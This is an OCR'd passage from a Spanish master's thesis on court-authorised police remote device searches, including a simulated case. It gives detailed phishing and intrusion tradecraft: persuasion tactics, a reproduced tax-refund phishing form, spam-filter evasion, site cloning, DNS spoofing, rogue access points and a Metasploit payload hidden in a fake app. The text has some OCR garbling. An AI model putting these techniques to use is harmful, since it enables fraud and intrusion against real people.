porgue se estan produciendo ataques masivos que estan permitiendo a los atacantes obtener

informacién personal de ese dispositivo.

Hay que dar confianza al objetivo, de tal modo que no sospeche que la accion que se le
invita a realizar, realmente no es beneficiosa para éste. El aspecto que pueda tener el correo
0 mensaje que se le envia es de suma importancia. Nuevamente, siguiendo con los ejemplos
anteriores, si se le ofrece una actualizacion de la aplicacion en la que el correo enviado
contiene los logos de esa aplicacion, con las direcciones y demas datos de la empresa
propietaria, es mucho mas probable que lleva a cabo a accidn que si, simplemente, se le envia
una pagina en blanco con un enlace. Lo mismo ocurriria en el caso de la actualizacién. Es
muy importante dar sensacion de que el remitente es la empresa auténtica (o al menos es

una entidad de caracter oficial o serio).
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Si en ese mismo correo o mensaje, indicamos al objetivo que ya se han realizado multitud
de actualizaciones anteriormente, afiadiendo, por ejemplo, nuevas funcionalidades, dudara
menos de una nueva actualizacion, que ademas es de seguridad. Quiza piense que las
actualizaciones anteriores le llegaban automaticamente, pero si se le justifica que, justo esta
actualizacidén no se realiza de esa manera porque, al tratarse del arreglo de un problema de
seguridad, se necesitan permisos especiales para realizarla, facilitara el camino a que

finalmente se instale el software.

También en relacion con lo anterior, si el mensaje va firmado por el “Jefe del Departamento
de Seguridad” o similar, que denote cierta autoridad al remitente, facilitara también la

instalacion del software.

Finalmente, si en el mensaje que se envie podemos ofrecer cierta sensacién de pertenencia
a un grupo concreto, hara que el objetivo no perciba que esta realizando una accidon que
solo él la va a llevar a cabo, sino que existen mas personas que ya la han realizado y que
estan contentas con el resultado obtenido. Un ejemplo podria ser el afiadir en el mensaje
cierto numero de opiniones de otros usuarios, manifestando lo satisfechos que estan por
haber actualizado determinada aplicacion, o por haber instalado ese software Premium y al

gue sélo unos pocos han podido tener acceso.

- u
[‘Zﬂ.’.ﬁ /“ Agencia Iributaria

Bieavenido a Agencla Tributaria Formulario de Reembolso

Por favor mgrese su informacion exactamente donde o 244,79 ELUR se seembolso

Después del dltimo célculo anual de su actividad fiscal hemos determinado que usted es
elegible para recibir un reembolso de impuestos de 244,79 EUR
Por favor, rellene @l formulario y nos permiten 5-9 dias laborales con el fin de procesarlo

Aceptamos : m VviSA

Nombre® :
Ientificador Fiscal (NIF/CIF/NIE)* -
Teléfono® :
Numero de Tarjeta® @
Fecha de Caducidad (de la tarjeta)* : v v
Codigo de Sequridad (CVV2/CSC)* -
Cédigo PIN (Contrasadia)*

Fecha de nacimiento (mm/dd/aaaa)* :

llustracién 2. Ejemplo de correo Ingenieria Social (ElI Confidencial, 2015)

En la “llustracion 2” se puede observar el correo electronico que suele llegar todos los afios a
una gran cantidad de personas, cuando llega el momento de realizar la Declaracién de la
Renta.
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Como se puede observar, se utiliza el nombre de la “Agencia Tributaria” para dar aspecto de
seriedad, autoridad y confianza. Ademas, la Declaracion de la Renta es algo que todo el
mundo realiza, con lo que da sensacion de pertenencia al grupo y no se tiene la percepcion
de que es una accion aislada, pues el propio objetivo también realiza la Declaracion de la
Renta anualmente. En este caso, ademas, se ofrece algo que es muy valioso para el objetivo,
nada menos que una devolucién de dinero, y de este modo se incluye también la urgencia a
la hora de rellenar los datos, puesto que, cuanto antes se envien, antes, supuestamente, se

recibira el dinero en la tarjeta introducida.

Para poder hacer uso de este modo de envio, es necesario conocer todos los datos

obligatorios, como puede ser el email que usa la persona investigada.

Caso de no conocerse alguno de esos datos, se podrian llevar a cabo las siguientes

acciones, siempre antes de realizar el envio con el enlace al software a instalar:

e La principal medida seria introducirse en la red inalambrica del investigado y
capturar el trafico, con el objetivo de conocer aquellos datos que fueran necesarios.
Para conocer esos datos que pudieran faltar, se puede hacer uso de las siguientes

herramientas:
o Escaneo de puertos con (nmap, 2017).

o Unframework para (MITM, 2017) como (bettercap, 2017), el cual puede ofrecer

informacién acerca de los dispositivos de la red.
o Capturar el trafico con herramientas como (wireshark, 2017) o similares.

e Para acceder a dichas red inalambrica, se haria uso de un adaptador inaldmbrico
independiente del que posee el ordenador utilizado (hay que recordar que se trabaja
utilizando una maquina virtual, por lo que el adaptador inalambrico del ordenador no
es accesible), asi como la herramienta (wifite, 2014) de (Kali Linux, 2017). También se
puede hacer uso de hardware especifico para auditoria de redes inalambricas, como
puede ser (WiFi Pineapple, 2017).

e Caso de que el investigado no tuviera red inaldambrica en su domicilio (o en un
domicilio de un tercero), se averiguaria si se conecta regularmente a través de alguna
red inalambrica publica. Si es asi, caben 2 opciones: aplicar las herramientas
anteriores directamente en esa red, o; crear un (Rogue AP, 2017) haciendo uso de
(Kali Linux, 2017) o (WiFi Pineapple, 2017), para que el dispositivo del investigado se

conecte a éste en vez de conectarse a la red inalambrica legitima. Este ultimo caso
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seria mejor, puesto que el trafico y los dispositivos conectados serian menores, lo que
facilitaria la investigacion, aunque también es cierto que técnicamente es mas
complicado crear este (Rogue AP, 2017) que directamente capturar el trafico de la red

inalambrica publica.

Una vez que se poseen todos los datos necesarios, en el caso del presente Trabajo de Fin

de Master, en el que se usa la Ingenieria Social, se propone la siguiente secuencia:

Con los datos que se han conseguido del objetivo, y del dispositivo que se quiere
registrar remotamente, tendremos informacion suficiente para conocer los gustos de
aquél. Por lo tanto, mediante el uso de una herramienta como (httrack, 2017)
clonaremos una pagina web de una tematica que resulte de su interés. Es decir,
la pagina mostrara una descarga o programa a instalar que resulte atractivo para el
objetivo. Hay que recordar que parte de la Ingenieria Social es ofrecer algo y darle

confianza y autoridad a la pagina que se le envia.

Puede ocurrir que, si la pagina clonada es demasiado pesada, dé problemas al enviar
el correo y no supere el filtro de spam del correo del investigado. Para solucionar este
problema, lo que se puede hacer es utilizar como referencia la pagina clonada y

construir una propia, con el aspecto e imagenes de la anterior.

Para tratar de evitar el filtro de spam, la direccién URL en la que se aloja el software
que se pretende instalar, no debera figurar en el cuerpo del correo, pudiéndola incluir
en una etiqueta “<a href="direccion”>"Texto”</a>". En el texto tampoco deberan figurar

palabras como “pincha aqui” o similares, puesto que los filtros de spam las detectarian.

Una vez clonada la pagina, modificamos la zona de descarga (si la hay, y si no, se
puede crear) para que apunte directamente al software que se pretende instalar
en el dispositivo a registrar remotamente, y que ya se ha generado en funcion del
dispositivo concreto a registrar (teniendo en cuenta las recomendaciones referentes a
la URL del primer punto, asi como lo referente a la direccion IP que se va a utilizar

para la conexion).

o Como medida extra, seria factible realizar un acortamiento de la URL a la que
se apunta (con servicios como (tinyurl, 2002)), de modo que no se vea la
direccion del servidor desde que sera descargada la aplicacién que se quiere

instalar.

o Ademas, en los casos en los que la intrusion se realice en una red local en la

que estemos identificados, y el envio que se realice sea de un enlace, junto
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con el dispositivo a registrar, podremos realizar (DNS spoofing, 2017) para que
afecte al citado dispositivo. De este modo, el enlace que se puede enviar al
investigado puede contener una direccion “real”, pero, sin embargo, al hacer
click sobre la misma, le llevara a la direccion que nosotros hemos preparado
con el software a descargar e instalar. Asi, el propio enlace no generara tanta

desconfianza como si la URL mostrara la IP real o fuese una URL acortada.

¢ Una vez se tiene la pagina clonada modificada a conveniencia, apuntando al software

que se pretende instalar, debemos enviar un correo electrénico al objetivo. En este

correo electrénico figurara citada pagina. El “asunto” del email y el “remitente” son

campos muy sensibles pues, como ya se ha dicho anteriormente, se debe generar

confianza y dar sensacion de autoridad sobre el investigado, ademas de tener en

cuenta a los filtros de spam. Con respecto al envio de los emails, habria que seguir

una de las siguientes opciones:

e}

Contar con un servidor de correo propio, para evitar que los correos

enviados al investigado sean trasladados a la carpeta de spam del investigado.

Como la legislacion vigente prevé, en el articulo 588 septies b (Ley Organica
13/2015, de 5 de octubre, de modificaciéon de la Ley de Enjuiciamiento Criminal
para el fortalecimiento de las garantias procesales y la regulacion de las
medidas de investigacion tecnoldgica, 2015), los investigadores pueden
solicitar la colaboraciéon de los sujetos obligados. Esto podria incluir el
remitir el correo utilizando el servidor de correo del ISP (como pueden ser
Movistar o Vodafone) utilizado por el investigado, lo que ayudaria con respecto

a la sensacion de veracidad del mismo.

Crear una cuenta de correo en uno de los servicios gratuitos (como Gmail,
Outlook o Yahoo!), que sera la utilizada para realizar el envio, haciendo uso de
herramientas para anonimizar la conexién (como, por ejemplo, realizar el alta
y las conexiones a través de (TOR, 2017)). Esta opcidon no nos permitira el
modificar el dominio utilizado por el remitente (los correos llegaran como
@gmail.com, @outlook.es, o el nombre del proveedor que se haya elegido),
pero permitira que el correo enviado no acabe en la carpeta de spam y dara

mas opciones a que el investigado abra el correo que se le envio previamente.

Si no se puede hacer uso de ninguna de las anteriores opciones, se podria
hacer uso de una herramienta como (sees, 2014), que permite el envio de

emails suplantando la identidad del remitente. Para hacer uso de esta
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herramienta también es necesaria la instalacion de (postfix, 2017) y de
(mailutils, 2010), todo ello en (Kali Linux, 2017). Probablemente, el correo
enviado mediante el uso de las herramientas mencionadas acabe filtrado como

spam.

Ademas, desde el 1 de junio de 2017, Google ha mejorado la seguridad y el
filtro anti spam (Wen, 2017), por lo que los correos electronicos enviados de

esta forma no llegaran al destinatario.

El dia 5 de junio de 2017 se han realizado pruebas, tratando de enviar un email
suplantando la identidad del remitente a una cuenta de Gmail y, efectivamente,
el correo ni siquiera aparece en la carpeta de spam. Gmail directamente lo
descarta y no lo entrega al usuario, al detectarlo como posible spam. Cabe
decir que el citado correo enviado, ni siquiera incluia enlace alguno o
imagenes. Es por ello, que este método no se recomienda para la practica

de la metodologia propuesta.

o Caso de que el equipo a registrar sea un teléfono moévil: en este caso
también existe la opcidon de enviar al investigado un mensaje SMS o similar,
es decir, en vez de utilizar su correo electronico como direccion de envio,
utilizar su numero de teléfono. Aqui también se puede hacer uso del deber de
colaboracion que prevé la legislacion en el articulo 588 septies b (Ley Organica
13/2015, de 5 de octubre, de modificacién de la Ley de Enjuiciamiento Criminal
para el fortalecimiento de las garantias procesales y la regulacion de las
medidas de investigacién tecnolégica, 2015) y que sea el propio ISP el que
facilite la tarea del envio de dichos mensajes (que contendran un enlace

apuntando al software de registro remoto que se desea instalar).

e Ahora llega el paso mas dificil: que el investigado pulse sobre el enlace al archivo, lo
descargue y lo instale. No se puede hacer nada, excepto seguir todas las
recomendaciones anteriores respecto a la Ingenieria Social, para poder llegar a este
punto con éxito. Aun haciendo todo correctamente, depende de la voluntad del

investigado el instalar la aplicacion o no hacerlo.

En el correo (0 mensaje) que se ha enviado, no estaria de mas introducir una breve
explicacién del proceso de instalacién, para que la persona investigada reduzca
sus sospechas cuando el sistema le solicite permisos durante la instalacion. Esto es
de especial utilidad con los teléfonos moéviles, pues se va a intentar instalar una
aplicacion que no proviene de un “market’ oficial, por lo que, en teléfonos con sistema
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operativo “Android” sera necesario el permitir la instalacion de otras fuentes (por
defecto, Android Unicamente permite la instalacion de aplicaciones provenientes de
(Google Play, 2017)). Explicar las acciones a realizar puede dar sensacion de

confianza al investigado para que, efectivamente, instale el software enviado.

Ademas, se pueden explicar las “razones” de enviarle el enlace de descarga por ese
medio, asi como opiniones positivas de “clientes” y otra informacién que pueda facilitar

la instalacion.

Si se ha hecho todo correctamente, el investigado ha creido en los datos que figuran en el
correo electrénico que se le ha enviado y, por lo tanto, ha instalado el software de registro

remoto, se puede pasar al siguiente paso de la metodologia.

Si, agotado el tiempo inicial de la autorizacién, no se ha conseguido, por motivos técnicos,
lograr la ejecucién efectiva del registro remoto (no existen (exploit, 2017) operativos, el
objetivo no ha accedido al correo electrénico enviado o el investigado no ha instalado el
software), habria que informar de estos extremos al Juez competente, solicitando una
prérroga alegando los motivos anteriormente expuestos (ver apartado “Solicitud de prérroga”).
Incluso, si se observa que la intrusién a distancia, mediante el uso de Ingenieria Social, no es
factible, debido a las medidas de seguridad técnicas que adopta el investigado (no apertura
de correos de remitentes desconocidos o no instala software no proveniente de markets
oficiales), se podria llegar a solicitar que la instalacion del software se realice mediante el

acceso fisico al dispositivo (si fuera posible).

f) Explotacion del dispositivo (ejecucion efectiva de la medida de registro remoto)

Una vez que se ha conseguido la instalacion del software necesario para la ejecuciéon del

registro remoto, hay que proceder a realizar dicho registro.

Para ello haremos uso de (msfconsole, 2017), el manejador que tiene el Framework de
(Metasploit, 2017). De este modo, mediante el uso de (msfconsole, 2017) y ejecutando un
(payload, 2017) tipo (meterpreter, 2017), podremos llevar a cabo el registro remoto una vez

que el software ha sido instalado en el dispositivo.

La herramienta de escucha debe ser configurada con la IP utilizada por los investigadores. En
este caso, so6lo hay que introducir la IP privada de los mismos, puesto que, aun en el caso de
utilizarse Internet para realizar el registro remoto, la IP publica ya figura en el (payload, 2017)
instalado en el dispositivo a registrar, por lo que tan solo es necesaria al IP desde la que los
investigadores se encuentran a la escucha (por ejemplo, si la conexion de los investigadores

por Internet se realiza a través de un router, éste facilitara una IP privada a los mismos, que
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es la que se debe introducir, puesto que la peticion de conexion llegara al router mediante la
correspondiente IP publica que se ha introducido en el (payload, 2017) instalado en el

dispositivo).

Recordemos que ese software, lleva embebido un (payload, 2017) creado con (Metasploit,
2017), que va a permitir registrar el equipo de forma remota (y otras muchas mas opciones,
como la geolocalizacion, que no seran de aplicacion al registro remoto, por las limitaciones

legales del mismo).

Asi, se podra navegar por todos los datos del dispositivo, llevando a efecto el registro remoto
del mismo. Es decir, se deben localizar todos aquellos datos que sean de relevancia para la

investigacion.

Una vez localizados dichos datos, si en el escrito de solicitud al Juez, se ha solicitado la
realizacién de copias de los datos que figuren en el dispositivo (que sera lo habitual y lo
recomendado en la presente metodologia), que puedan resultar de interés para la

investigacion, se deben realizar esas copias manteniendo la integridad de los datos.

Lo ideal seria realizar un (hash, 2017) de los archivos que se van a copiar cuando estan

todavia en el propio dispositivo registrado.

En el caso de uso de (Metasploit, 2017) esto si que es posible, haciendo uso del comando
“checksum” de (meterpreter, 2017), aunque sélo permite la opcion de utilizar (MD5, 2017) o
(SHA-1, 2017), ambas funciones hash ampliamente superadas por nuevas funciones (hash,
2017) mas robustas, como (SHA-2, 2017).

Después de realizar ese (hash, 2017) previo, se procede al copiado de los datos del dispositivo

registrado a un dispositivo en poder de los investigadores.

Una vez finalizada la copia de los datos que sean relevantes para la investigacion, volvemos
a realizar un hash de los archivos originales en el dispositivo y realizamos un (hash, 2017) a

los archivos copiados en el dispositivo externo.

Esos hashes calculados se comparan vy, si los tres valores son idénticos, indica que esos
archivos no han variado desde que han sido observados en el dispositivo hasta que han sido
copiados por los investigadores. Como se observa en la figura de debajo (llustracién 2), si
“Valor 1=Valor 2=Valor 3”, significa que el archivo no ha sido modificado. Estos valores,
reflejados en la correspondiente Acta, permitiran comprobar que, desde que se ha realizado
la copia, el archivo no ha sido modificado (comparandolo con el valor del (hash, 2017) que se

calcule en cualquier momento del proceso penal) durante todo el proceso.
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1. Hash 2. Hash de 3. Hash del

archivo en archivo en

la copia
dispositivo dispositivo

llustracién 3. Flujo de calculo de hash de los datos copiados

Todo este proceso debe estar documentado, realizando las pertinentes Actas de
registro del dispositivo, firmadas por los agentes que han sido autorizados por el Juez para

la realizacion de la medida.
Aqui merece la pena hacer un inciso con respecto a este apartado del registro remoto.

En un registro domiciliario, es el Secretario judicial quien se encarga de levantar la
correspondiente Acta de registro y, de este modo, dar fe publica de lo que se esta realizando.
Ademas, en los registros domiciliarios, se cuenta, normalmente, con la presencia de la
persona investigada (o detenida), asi como con la presencia de su abogado, lo que da a la

citada diligencia de registro domiciliario muchas garantias legales.

Sin embargo, en los registros remotos no se cuenta con la presencia del Secretario judicial
durante la practica del registro. Tampoco se cuenta con la presencia del investigado (algo
obvio por otra parte, ya que el objetivo de la medida del registro remoto es ser llevada a cabo
sin el conocimiento de éste). Estas y otras reflexiones las ofrece D? Lorena Bachmaier Winter
(Winter, 2016), y son extremos que la jurisprudencia se encargara de delimitar, aunque esta
claro que no esta previsto en la legislacion vigente (como si que lo esta en el caso de los
registros domiciliarios). Por estas razones, es por lo que se propone la realizacion de un Acta,
por parte de los agentes habilitados para el registro remoto, en el que consten todas las
acciones que se han llevado a cabo durante el mismo. De este modo, quedara constancia por

escrito de todas ellas.
g) Informe periédico al Juez de Instruccién con las novedades de la investigacion

A medida que el registro remoto se esta ejecutando, se debe informar al Juez competente de

los avances que se han realizado en la investigacion en curso.

Es muy importante el describir la relevancia de lo encontrado durante la ejecucién de la
medida. De lo contrario, si el Juez observa que no se han realizado avances en la

investigacion o, mejor dicho, que la aplicacion de la medida no esta sirviendo a los efectos
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para los que se autorizd, decretara el cese de la misma, puesto que una medida de este tipo,
con una alta injerencia en los derechos del investigado, no puede ser mantenida en el tiempo

injustificadamente.

Aparte de informar sobre la cantidad de datos que se han encontrado, habra que realizar un
analisis de los mismos (tanto del propio contenido del fichero, como de los metadatos
asociados), para que puedan facilitar una informacion lo mas completa posible en relacion con

la investigacion.

Ello se debe a los requisitos legales que exige la medida, los cuales ya han sido expuestos

anteriormente en el presente Trabajo de Fin de Master.

Este informe, debe ser remitido con la frecuencia que haya indicado el Juez competente a la
hora de conceder la medida. Por lo tanto, habra que atenerse a lo que figure en el Auto de

autorizacion correspondiente.

h) Solicitud de prérroga (en su caso)

En el caso de que la duracion de la autorizacion inicial concedida no sea suficiente, a criterio
de los investigadores, se puede solicitar al Juez competente que autorice una prérroga de
dicha autorizacion. Como ya se ha reflejado anteriormente, la duracién maxima de la medida,

incluyendo las posibles prorrogas que se concedan, jamas podra ser superior a tres meses.

El tiempo de la autorizacién inicial puede no ser suficiente si se dan las siguientes

circunstancias:

¢ No se ha conseguido instalar el software necesario para realizar el registro remoto
en el periodo inicial autorizado. Esto puede deberse a varios factores, como, por
ejemplo: que el investigado no haya abierto (o recibido) el correo electronico que se le
ha enviado; que el mensaje si que haya sido recibido, e incluso abierto, pero el

investigado no haya procedido a instalar el software en el dispositivo a registrar.

e El software esté efectivamente instalado, pero no se haya podido llevar a efecto
el registro en si por parte de los investigadores (debido, fundamentalmente, a que
la instalacién se haya producido en el tramo final de la autorizacion o a que el

investigado no se hubiera conectado a la red desde la instalacion del software).

e Ademas del caso anterior (que el periodo inicial de la autorizacién no sea suficiente),
también puede ocurrir que, a criterio de los investigadores y justificado por los
datos objetivos reunidos por éstos durante la investigacién en curso, se estime
necesario prorrogar la medida, aunque ya se haya procedido a la ejecucion del
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registro, debido a que se espera que se almacene mas informaciéon en dicho

dispositivo, que pueda resultar de interés para la investigacion.

La solicitud de la prérroga debera cumplir con los mismos requisitos indicados para la solicitud
de autorizacion inicial, ademas de incluir todos aquellos hechos de interés que se hayan
descubierto gracias a la aplicacién de la medida hasta el momento, y justificando la necesidad,

para llevar a buen fin la investigacion, de una prérroga de la medida inicialmente autorizada.
i) Solicitud de cese de la medida

Esta es una solicitud que, en numerosas ocasiones, no se realiza. Normalmente se suele
esperar a que expire el periodo concedido una vez que se ha obtenido toda la informacién

posible mediante la aplicacion de la medida.

Pero el método ideal seria solicitar al Juez competente el cese de la medida una vez que

se han completado los objetivos planteados en la investigacion.

De este modo, los derechos fundamentales del investigado no se verian intervenidos sin

necesidad.

En el escrito de solicitud habria que justificar esta solicitud de cese, mediante la explicacion
detallada al Juez de toda aquella informacion que se ha conseguido obtener, relevante para
la investigacidn, y los indicios que se tienen por parte de los investigadores de que la

continuacion de la medida no va a ofrecer nuevos datos relevantes para la misma.

Los investigadores han de estar muy seguros de que, efectivamente, no van a obtenerse mas
datos de interés con la aplicacion de la medida del registro remoto. De lo contrario, lo mas
prudente es continuar con la aplicacion del registro remoto hasta la finalizacion de la
autorizacion. De este modo, puede que, aunque en un principio no se estimara muy probable
la aparicion de nuevos datos relevantes, efectivamente éstos aparezcan en la ejecucion de la
medida durante el tiempo autorizado. A continuacion, la “llustraciéon 4” muestra el diagrama

de flujo de la metodologia propuesta.
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4.1.3. Evaluacion

En el supuesto que se va a llevar a cabo (una simulacién practica, pero sin ninguna relacion
con ninguna investigacion real, se deben tener ciertas condiciones o requisitos, las cuales se

exponen a continuacion:

o EIGrupo de Investigacién que va a llevar a cabo la investigacion es el Grupo de Delitos
Tecnolégicos de una Comisaria Provincial de Policia, aunque podria ser cualquier
grupo de investigacién de cualquier Cuerpo de Policia competente para la

investigacion al caso, como podria ser Guardia Civil, Ertzaintza o Mossos d’Esquadra.

o El software utilizado para la evaluacion es en su totalidad gratuito, debido a que no se
tiene acceso, por motivos de confidencialidad, al software especifico que pudieran usar

las diferentes unidades de investigacion.

o El hardware utilizado es en su totalidad propiedad del autor del presente Trabajo de
Fin de Master, no pudiendo tener acceso a otro tipo de hardware que pudiera resultar

mas especializado, como puede ser (WiFi Pineapple, 2017).

o Evidentemente, no se puede contar en la simulacion con la colaboracién de los sujetos
obligados. Esta colaboraciéon haria mucho mas sencillo el envio del enlace (o

directamente del software a utilizar) a la persona investigada.
a) Descubrimiento del delito

Por el Grupo de Investigacion se ha tenido conocimiento de que una persona, cuyo nombre
es Arturo ESPANOL ESPANOL (en adelante “Arturo”), podria estar realizando fotografias de

caracter sexual a menores, haciendo uso de su teléfono movil particular.

Igualmente, se tiene conocimiento de que, una vez realizadas las fotografias, éstas son
copiadas a un dispositivo de almacenamiento USB (un pendrive), el cual remite a diferentes

personas mediante el uso de una empresa de paqueteria urgente.

Una vez se conocen estos datos, lo primero que se debe realizar es una calificacion
provisional de los hechos de los cuales se tiene conocimiento, con el fin de comprobar si
resulta ser un hecho delictivo y encuadrarlo dentro de un delito del Cédigo Penal (Ley
Organica 1/2015, de 30 de marzo, del Codigo Penal, 2015).

En este caso concreto, los hechos de los que se tiene conocimiento podrian encuadrarse en
el articulo 189.1.a) (Ley Organica 1/2015, de 30 de marzo, del Cédigo Penal, 2015) por
elaborar material pornografico utilizando a menores de edad, ya que, supuestamente, realiza
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€l mismo las fotografias con su teléfono mévil; articulo 189.1.b) (Ley Organica 1/2015, de 30
de marzo, del Codigo Penal, 2015) por realizar la distribucion de pornografia de menores,
puesto que envia las imagenes a terceros; articulo 189.2.a) (Ley Organica 1/2015, de 30 de
marzo, del Cédigo Penal, 2015), ya que pudiera ser que la edad de los menores fuera inferior
a los 16 anos; articulo 189.5 (Ley Organica 1/2015, de 30 de marzo, del Cddigo Penal, 2015)

con respecto a los receptores de las imagenes pornograficas de menores.

Como se puede observar, los hechos relatados resultan delictivos en funcién del actual Cédigo

Penal, por lo que procede su investigacion por el Grupo correspondiente.

Una vez se tiene la calificacion provisional de los hechos, se debe comprobar si éstos se
incluyen en el listado de delitos del articulo 588 septies a (Ley Organica 13/2015, de 5 de
octubre, de modificacion de la Ley de Enjuiciamiento Criminal para el fortalecimiento de las
garantias procesales y la regulacién de las medidas de investigacion tecnolégica, 2015) sobre

los que se permite la ejecucién de la medida del registro remoto.

Se comprueba el citado articulo y, efectivamente, cabe la aplicacion de dicha medida en la
investigacion del presente delito, puesto que se trata de un delito cometido contra menores
de edad.

Como se cumplen las condiciones de que el hecho investigado constituya un delito, y que
dicho delito se encuentra en los supuestos contemplados en la legislacion para la adopcién
de la medida del registro remoto, ahora se debe estimar la necesidad de la aplicacion de dicha

medida.

En el presente supuesto, esta claro que la gravedad de los hechos (hasta 9 afios de prision)
aconseja el llevar a cabo todas aquellas opciones que sean posibles en la investigacion, entre

las que se encuentra el registro remoto.

Ademas, al utilizar el investigado de su teléfono movil para realizar las fotografias, hace que
la adopcién de la medida del registro remoto se torne ideal para la investigacion. Una vez que

se hayan agotado todas las anteriores opciones de investigacién, por supuesto.

Si se autoriza esta medida, ademas de poder comprobar que las fotografias se realizan con
su teléfono movil, se podria averiguar la direccion de las personas que requieren de esas

imagenes, puesto que pueden estar almacenadas en dicho dispositivo.

De no poder demostrar que es “Arturo “quien realiza directamente las fotografias, no se le
podria condenar por el delito previsto en el articulo 189.1.a) (Ley Organica 1/2015, de 30 de

marzo, del Cédigo Penal, 2015), ya que no se podria llegar a demostrar la elaboracion.
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Es un hecho que resulta de interés, puesto que la pena no sera la misma si se demuestra que
él elabora el material pornografico y, ademas, lo distribuye o vende, que, si s6lo se consiguiera

demostrar que lo distribuye, sin poder acreditar la elaboracion.

Por estas razones, una vez agotadas todas las anteriores técnicas de investigacion, se estima
necesario para el buen término de la investigacién, la solicitud de autorizacidn de registro

remoto del teléfono movil de “Arturo”.
b) Footprinting del objetivo

En este paso de la metodologia, se trata de recabar la mayor cantidad de informacion posible

del objetivo, utilizando fuentes abiertas.

Como complemento, también se tiene en cuenta la informacion recabada durante la
investigacion policial habitual, que puede facilitar datos que haran mas completa la busqueda

de informacion.

En el presente caso, los datos que se conocen sobre el investigado (resultado de las
investigaciones policiales previas y consulta a diversas fuentes de informacién) son los

siguientes:

e Numero de teléfono 66-666-666

e Correo electronico: jreacherprueba@gmail.com

o Teléfono moévil: Samsung Galaxy S4, con sistema operativo Android (se desconoce la
version).

o Nombre, apellidos, DNI y domicilio del investigado.

Con estos datos, se deben realizar busquedas en los motores de busqueda tradicionales
como Google o Bing. Hay que tener en cuenta que, para la realizacion de la presente
simulacion, el nombre del investigado no es real y, por lo tanto, su actividad en numerosas

paginas no es la habitual (no tiene facturas, ni coches, ni figura en una universidad).

Sin embargo, al realizar una bisqueda mediante OSINT, si que aparece que tiene una cuenta
en Facebook, en la que figura el nombre de “Arturo Brichburguer Espanol”’, como se puede
observar en la “llustracion 5” e “llustracion 6”. También se tiene acceso, aun sin estar

registrado en Facebook, a la informacién que figura en la “llustracion 77.
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Search +
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Blog Podcast Contact

Custom Facebook Tools

Search Target Profile:

jreacherprueba@gmail.com GO (Account by Email)
+1 GO (Account by Cell)

Arturo Brichburguer Espafiol GO (Displays User Number)

Q
<}

(Populate All)
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(Pages Liked)
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GO (Photo Comments)
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(Future Event Invitations)
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(Posts by User)
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(Groups)
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299 9Qq
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20929292999
6660606060606

Locate Target Profile:

Arturo Brichburguer Espafiol G0
G0
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G0
G0
G0
G0

Multiple Variables:

Search

Gender Search:
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G0
Detailed Search:
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llustracion 5. Consulta OSINT del correo del investigado

[ facebook.com

OSINT Search Tool by Michael Bazzell | Open Source Inteligence Techniques

facebook /wie

TIPO DE RESULTADO Arturo Brichburguer Espafiol

Resultados destaca... Getafe
3 personas

 paginas

G

9 Lugares
& Grupos
& Aplicaciones
[ Eventos

Search +

Unete a Facebook o inicia sesién v

@ Ver fotos

llustracién 6. Resultado que ofrece Facebook de la consulta del correo del investigado
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facebook I -

¢Has olvidado los datos de la cuenta?

Arturo Brichburguer Espaiiol esta en Facebook. ez eZ e

.....

Para conectar con Arturo, registrate hoy en Facebook.

Arturo, “r/l‘z

Espafiol

Amigos  Fotos  Videos

Informacién sobre Arturo Brichburguer Espafiol Fotos

Ver més fotos

BT Getafe
& e ¢Es incorrecto Arturo Brichburguer
Espafiol? Inténtalo de nuevo

—
B Getafe
oo Arturo Brichburguer Espafiol Buscar

Otras personas con un nombre
parecido

Favoritos

. Arturo Martinez
No hay Péginas para mostrar.

Ramon Arturo Diaz

Arturo Silva Hernandez

Wil X

rhuien Olava

llustracién 7. Informacion publica del investigado

Una vez consultado el citado perfil, que tiene actividad reciente, se observa que no aparece
en las publicaciones la tipica etiqueta de “publicado desde mi Android” o similar, por lo que se
puede interpretar que, o bien no utiliza la aplicacion que existe para el teléfono que posee y
publica mediante el acceso web de la pagina de Facebook, o bien las publicaciones las realiza

desde otro dispositivo.
c) Eleccion del software para registro remoto a instalar

Con la informacién que se ha obtenido en los pasos anteriores, se puede inferir un posible
vector de ataque para la instalacion del software de registro remoto del teléfono: ofrecerle una

aplicacion de Facebook modificada, haciéndole ver las ventajas de instalarla en su dispositivo.

Claro esta, que dicha aplicacion contendra un (payload, 2017) que permitira a los

investigadores realizar de forma efectiva el registro remoto de su teléfono movil.

Otra posible eleccion, seria buscar un (exploit, 2017) que afectara al software y al dispositivo
que posee. Los datos que se conocen es que es un teléfono mévil Samsung Galaxy S4 con

sistema operativo Android.

Se realiza una busqueda de informacion en Internet acerca de dicho dispositivo. Al conocer la

marca y modelo del teléfono, se realiza una consulta en la pagina web de (sammobile, 2017),
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la cual ofrece informacidn sobre las Ultimas actualizaciones de software oficiales del

dispositivo.

Como resultado, ofrece la informacion de que la dltima version de Android oficial que se ha
distribuido al Samsung Galaxy S4 fue la 5.0.1, tal y como se puede observar en la “llustracion
8.

< [in] sammobile.com < (] =)

SamMobile deals. Finest selection of phones and accessories - Get your deal!

®fr® 9.703.168 MEMBERS = LOGIN or -
2017-01-15 Serbia (Telekom) 5.0.1 19505XXUHPK2 195050XXHPL1 (S] Portugal (TMN) (TMN)
Portugal (TPH) (TPH)
2017-01-15 Croatia (TELE2) 5.0.1 19505XXUHPK2 195050XXHPL1 (s] Portugal (Vodafone) (TCL)
Romania (ROM)
2017-01-15 Hungary 5.0.1 19505XXUHPK2 195050XXHPL1 Q Romania (Cosmote) (COA)
Romania (Orange) (ORO)
2017-01-04 Slovakia 5.0.1 19505XXUHPK2 195050XXHPL1 (s] Romania (Vodafone) (CNX)
Russia (SER)
2017-01-04 Baltic 5.0.1 19505XXUHPK2 195050XXHPL1 (5] Saudi Arabia (KSA)
Serbia (Telekom) (TSR)
2017-01-04 France 5.0.1 19505XXUHPK2 195050XXHPL1 6 Serbia (Telenor) (MSR)
_ Serbia (VIP) (TOP)
2017-01-04 Romania 5.0.1 19505XXUHPK2 195050XXHPL1 (5] Singapore (XSP)
2017-01-02 Slovakia 50.1 19505XXUHPK2 195050XXHPL1 @  Sineapore(MM1)
Singapore (SingTel) (SIN)
2016-12-29 Spain (Movistar) 50.1 19505XXUHPK2 19505XECHO)1 (s} Singapore (StarHub) (STH)
Slovakia (TMS)
2016-12-21 Germany (02) 50.1 19505XXUHPK2 19505VIAHOI1 (s] Slovakia (XSK)
Slovakia (ORX)
2016-12-13 Spain 5.0.1 19505XXUHPK2 19505PHEHPK1 (s} Slovenia (SI0)
Slovenia (Mobitel) (MOT)
2016-12-12 Germany 5.0.1 19505XXUHPK2 195050XAHPK1 6 Slovenia (Si.mobil) (SIM)
South Africa (Vodafone) (XFV)
